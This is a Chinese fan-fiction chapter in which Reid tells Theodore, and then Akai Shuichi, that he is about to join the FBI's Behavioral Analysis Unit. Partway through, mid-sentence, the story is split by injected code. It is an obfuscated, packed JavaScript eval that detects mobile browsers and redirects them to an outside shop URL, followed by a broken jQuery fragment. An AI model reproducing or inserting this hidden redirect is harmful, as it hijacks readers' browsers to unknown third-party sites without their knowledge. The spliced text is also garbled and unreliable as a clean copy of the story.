八月的马里兰大学不像九月那样热闹。
暑期课程已经结束，秋季学期还没开始，校园里到处是那种懒洋洋的、介于“该做点什么”和“什么都不想做”之间的氛围。犯罪学系的小活动室在一栋红砖楼的二层，窗户朝西，下午的阳光把桌面切成明暗两半，灰尘在光柱里缓缓翻滚。
瑞德坐在靠窗的位置，面前摊着一本翻到三分之二处的《异常犯罪心理剖析》，旁边是横七竖八的荧光笔和一罐已经变温的苏打水。狄奥多坐在他对面，手里捏着一块橡皮泥，正在无意识地把它搓成一只圆滚滚的东西——看不出是什么，大概是猫，也可能只是他手在动。
活动室里只有他们两个人。
赤井秀一今天不在。他提前说了一声，要去图书馆查一些旧案卷宗，狄奥多没问具体是哪件。
书页翻动的声音很轻，像某种小动物在纸面上爬过。
狄奥多手里的橡皮泥已经揉成了形，他把那只拇指大的小猫放在桌面上，往瑞德那边推了推。瑞德的目光从书上移开，看了一眼那只小猫，又看了看狄奥多。
“你又在捏东西。”瑞德说。这不是评价，更像是在陈述一个观测到的事实。
“习惯了。”狄奥多说，把手上的橡皮泥碎屑拍掉，“手闲着就不舒服。”
瑞德把那只小猫拿起来，翻来覆去地看了看。它的四肢长短不一，脸歪向一边，尾巴粗得像根香肠。从工艺角度来说，它算不上什么好作品。但有一种奇怪的、笨拙的可爱。
“如果你把头部按1:1.6的比例放大，”瑞德说，“它看起来会更像一只猫，而不是一只吃撑了的仓鼠。”
狄奥多哑然：“下次我带上游标卡尺。”
瑞德认真地想了想：“其实手感的校准比测量更重要，因为黏土在塑形过程中会发生形变——”
“瑞德。”狄奥多笑着打断他。
“嗯？”
“那是个玩笑。”
“哦。”瑞德把小猫放回桌面，推回到狄奥多那边，“抱歉，我有时分不清。”
狄奥多把小猫收进口袋里，没有继续捏。活动室里安静了一会儿。窗外有人在打篮球，球拍地的声音隔了几层墙，变得闷闷的，像远处的心跳。
瑞德忽然合上了书。
狄奥多抬头看他。瑞德的表情很认真——不是那种分析案情时的专注，而是另一种，更像是在心里做了一番权衡之后，决定开口的那种认真。
“基利安是为什么想进FBI？”瑞德问，“你知道吗？”
狄奥多靠着椅背，手指搭在桌沿，没有立刻回答。他看着窗户外面那棵被阳光晒得发白的橡树，过了几秒才说：
“他有他自己的理由。”
瑞德看着他，像是在等更多的话，又或者只是发愣。毕竟这是一个很模糊的回答。但狄奥多没有继续说下去。当然，他也是真的不知道，所以沉默得心安理得。赤井秀一从来没有完整地对他讲过什么故事，他只说起过一次“我有必须进FBI的理由”，然后就再也没有提起过。狄奥多也没多问。
“你不好奇吗？”瑞德的表情变得有些疑惑。
狄奥多转过头来看他。
瑞德的表情里没有冒犯的意思，只有一种真诚的、学生式的好奇。他大概是真的想知道，狄奥多怎么可以接受赤井秀一藏着这么重要的事情而不去探究。
但很快他好像又想到了什么：“呃，我不是那个意思……”
而狄奥多竟然一下也没觉得哪里不对。直到瑞德慌忙否认。
他想了想，摇了摇头。
“不好奇。”狄奥多语气平静，“他有他的原因，说不说是他的事。我只要知道他在往哪个方向走就行了。”
瑞德沉默了一会儿，像是在消化这个回答。然后他点了点头，似懂非懂。
“我进FBI的理由，”瑞德说，声音比平时轻了一点，“是因为那里有最好的行为分析资源部。”
狄奥多眨了眨眼。
他花了半秒钟理解这句话——不是“我想进FBI，因为那里有BAU”，而是“那里有BAU，所以我要进FBI”。主语和宾语的位置调换了，但重点非常清晰。
“你要去BAU？”狄奥多的声音拔高了一点，那是他少有的惊讶。他甚至一时都不知道自己是在为瑞德要去BAU而惊讶，还是为瑞德真的要去BAU而惊讶——意思是，为简内特真的说中了而惊讶。
瑞德点了点头，表情里带上了一丝困惑：这有什么好惊讶的？狄奥多知道行为分析资源部的简称……
“你了解过BAU？”
“什么？哦，不，不是。”
狄奥多靠回椅背，看着瑞德，目光里多了一些了然。他遇见过BAU，知道那是个什么样的地方，知道那里的人在做什么样的事。如果瑞德要去的地方就是BAU，那事情倒合理了许多。
“我只是恰巧认识几位那里的探员。”
瑞德的眉毛抬了一下：“真的吗？我能问问是谁？”
“杰森·基甸探员。”狄奥多斟酌着，“他……他帮助过我。”
瑞德的脸上出现了一些惊讶和好奇。
狄奥多很庆幸瑞德是个对潜台词不敏感的理科天才，这让瑞德不会第一时间就明白他是以什么样的角色被帮助的。他一点也不想提起那些事。
“你觉得他们怎么样？”瑞德放下了手里的笔，拉了拉外套，认真地问。
“他们……”过往的回忆浮现，让狄奥多有些出神，“很优秀。”
瑞德点了点头。他也这么认为。
狄奥多盯着瑞德看了几秒：“这下我明白了。”
瑞德困惑地看着他：“明白什么？”
狄奥多没有直接回答。他想起了之前在体育馆遇到瑞德做体能训练时的样子——仰卧起坐像是被按在垫子上弹不起来，跑步像是在跟自己的腿谈判，引体向上更是挂在杠上晃了好几下，最后勉强拉上去半个。瑞德的表情被疲惫拉成龇牙咧嘴的模样，但狄奥多看到了他交握时指节发白的手。
那种拼尽全力的样子，他在坚持。
“明白为什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557799|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么你看起来明明很难过体能测验，”狄奥多看着瑞德的眼睛，“却还在为FBI审核做准备。”
瑞德的耳尖微微泛红，他没意识到这其实是一个赞誉。垂下的卷发挡住了他的眼睛，他翻开面前的书又合上了，以此把无处可去的情绪排解出去。
“我正在进行针对性的训练。”瑞德的语速变快了一点，“上肢力量是我的薄弱环节，但我已经拜托朋友帮我制定了一套渐进式的负荷增加方案。目前进展——还算稳定。”
“稳定”这个词说得有点虚。
狄奥多忍不住笑了。不是嘲笑，是那种被一个人认真的样子打动之后，从心底里涌上来的、带着暖意的笑。
“你需要特训帮助吗？”他开了个玩笑。
瑞德抬起头，看着他。狄奥多以为他会说“不用”或者“我自己可以”，但瑞德的眼睛里闪着认真的光，嘴唇动了动，说出来的话是：
“谢谢，但目前我的理论知识还不够。我会先补完这一块。”
狄奥多看着他，忽然觉得这个人真的很可爱。
“好。”狄奥多终于笑了，没有再多劝，“等你补完‘理论’，需要的话找我。”
瑞德点了点头，把这句话收进了那颗聪明脑袋的某个记忆分区里。
活动室安静了一会儿。窗外的篮球声停了，变成了几个人的笑声，然后又是球拍地的声音。
瑞德忽然说：“我马上就要通过审核加入BAU了。”
狄奥多这次是真的愣住了。
他看着瑞德的脸，想从上面找出一丝开玩笑的痕迹。但瑞德的表情一如既往地认真，像在陈述一个已经被验证过的数学定理。
“什么时候？”狄奥多问。
“审核流程已经走到最后阶段。”瑞德说，“如果没有意外，下个月就能确定。”
狄奥多张了张嘴，想说什么，又咽了回去。
没想到会这么快。这才不到半年吧？
“恭喜。”狄奥多最后说了这么一句。
瑞德笑笑：“谢谢。”
活动室的门被推开了。
赤井秀一走进来，手里拿着一沓打印好的资料，额头上有薄薄一层汗。他穿着一件黑色的T恤，白色的外套搭在臂弯，露出手臂上一条淡淡的灰白色伤疤。狄奥多以前没见过那条疤——可能是新的，也可能是夏天穿短袖才露出来的。
“你俩还在？”赤井秀一把资料放在桌上，拉开椅子坐下，看了一眼瑞德面前合着的书，又看了一眼狄奥多空空的手，“讨论什么了？”
“这不是等你嘛。”狄奥多摆摆手，“瑞德要进BAU了。”
赤井秀一的动作停了一下。他先是用表情对狄奥多说了一句“等我？真的吗”，成功把狄奥多逗笑了。
然后他看着瑞德，绿色的眼睛里没有惊讶，只是很认真地看了他两秒，然后点了点头。
“很适合你。”赤井秀一的语气很平淡。
瑞德又露出了那种似懂非懂的表情，但这次他没有问“为什么”，而是说了一句：“谢谢。”